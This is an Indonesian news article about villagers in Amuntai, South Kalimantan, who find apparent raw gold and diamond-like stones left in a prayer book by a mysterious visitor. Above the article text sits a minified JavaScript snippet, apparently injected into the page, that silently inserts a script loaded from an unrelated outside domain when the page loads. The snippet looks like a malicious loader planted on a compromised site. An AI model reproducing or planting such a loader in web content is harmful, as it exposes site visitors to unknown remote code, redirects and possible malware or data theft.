(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kabupaten Hulu Sungai Utara

Geger Warga Ditinggali Benda Mirip Emas dan Berlian dari Orang Misterius di Amuntai

KANALKALIMANTAN. COM, AMUNTAI – Warga Desa Kuangan, Kecamatan Amuntai Utara, Kabupaten Hulu Sungai Utara (HSU) dan media sosial dibuat geger atas penemuan sejumlah barang yang diduga bongkahan mirip emas dan berlian yang berasal dari orang misterius.

Penemuan sejumlah barang mirip emas dan berlian tersebut oleh warga ini ditemukan tidak sengaja, terutama bagi jemaah langgar Darul Muttaqin, Desa Kuangan

Menurut keterangan seorang warga Desa Kuangan, awalnya ia bersama teman-teman sedang menggelar pembacaan shalawat maulid Nabi, bakda shalat Magrib seperti biasa pada Selasa (31/8/2021) malam.

Ketika membawakan sebuah syair shalawat di dalam majlis itu, tak disangka datang sebuah mobil dari arah hulu menuju ke hilir.

Sempat mengarahkan mundur, akhirnya mobil itu berhenti di depan langgar dengan keadaan lampu di dalam mobil menyala dan kaca mobil terbuka, lalu ditutup kembali.

“Lalu beliau (orang misterius, red) turun langsung masuk ke dalam langgar, seorang laki-laki bercelana jeans berkaos merah memakai sorban putih di kepala dan menutup sebagian wajah, semua orang terdiam, orang itu menuju salah satu rihal (meja lipat, red) dan menaruh sesuatu ke dalam buku maulid (buku shalawat, red),” terangnya.

Benda diduga emas dan berlian yang ditemukan warga desa Kuangan, Kecamatan Amuntai Utara. Foto: ist

Namun setelah orang misterius itu bergegas pergi, merasa penasaran akhirnya jemaah saat itu melihat sesuatu benda berada di balik buku shalawat itu.

Alangkah terkejutnya mereka ternyata di dalamnya terdapat bijian yang diduga emas dan berlian tersebut.

Untuk menjawab rasa penasaran itu, keesokan hari setelah ditanyakan ke penjual emas yang berada di pasar Amuntai, ternyata butiran yang diduga emas itu memang benar emas, namun masih dalam bentuk belum diolah alias emas mentah atau bukan perhiasan. Sedangkan untuk butiran yang diduga berlian belum dapat dipastikan keasliannya.

Selain itu, bagi sebagian warga kejadian ini juga dikait-kaitkan dengan kebesaran Allah SWT atau karomah seseorang.

Salah satu warga Desa Kuangan, Alpi kepada Kanalkalimantan, Sabtu (4/9/2021) mengatakan, kejadian ini bisa dikaitkan kekuasaan dan kehendak Allah SWT, dimana menurutnya kondisi majlis maulid di desa tersebut yang sedang memerlukan berbagai macam keperluan, mulai sound system yang perlu diperbaiki dan keperluan seragam anggota majlis maulid.

“Langgarnya (mushalla, red) tidak direhab, tetapi anggota habsy ini sempat berbicara ingin majelis shalawat punya peralatan, tidak lama sekitar seminggu mengutarakan itu, nah malam tadi ada orang yang mengantarkan barang itu pakai mobil,” kata Alpi.

Dari informasi yang dihimpun Kanalkalimantan.com, adapun jumlah butiran diduga emas tersebut berjumlah 10 buah, namun saat ini tersisa 7 butir, 3 butir lainnya disimpan terpisah oleh warga setempat, sedangkan untuk dugaan berlian jumlahnya tidak diketahui pasti.

Atas temuan ini, rencananya warga melakukan rapat terkait tindakan apa yang akan dilakukan terhadap barang berharga tersebut. (kanalkalimantan.com/dew)

Reporter:dew
Editor: kk